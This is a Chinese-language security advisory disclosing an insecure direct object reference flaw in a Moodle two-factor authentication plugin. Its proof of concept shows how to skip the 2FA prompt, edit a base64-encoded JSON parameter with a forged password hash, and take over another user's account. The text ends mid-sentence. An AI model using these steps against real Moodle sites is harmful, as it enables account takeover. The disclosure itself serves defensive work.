LMS Doctor 的 "Simple 2FA Plugin for Moodle" 中存在不安全的直接对象引用(IDOR)漏洞
漏洞详情
风险等级:严重
厂商:LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
披露者:Flaviu Popescu
描述: LMS Doctor 的 Moodle 简易双因素认证插件中存在不安全的直接对象引用(IDOR)漏洞。允许远程攻击者更新其他用户账户的敏感记录,如电子邮件、密码和电话号码。
验证概念:
使用自注册账户(dionach.tester)的初始登录过程:
POST /login/index.php

当显示双因素认证提示时,攻击者强制浏览以下URL,而不是提供双因素认证代码。
POST /auth/simple2fa/profile.php

此请求在 Burp Suite 中被捕获:

参数 "u" 包含一个 base64 编码的字符串。该字符串被解码,显示出 JSON 格式的数据,如下所示:

攻击者篡改 JSON 数据,修改了 id、电子邮件、密码和名称。JSON 数据被重新编码为 base64,在 Burp Suite 中更新,并转发到服务器。
密码的新哈希生成:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
篡改数据片段:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
导致受害者账户(id 8045,dionach.tester2)被更新,如下所示:
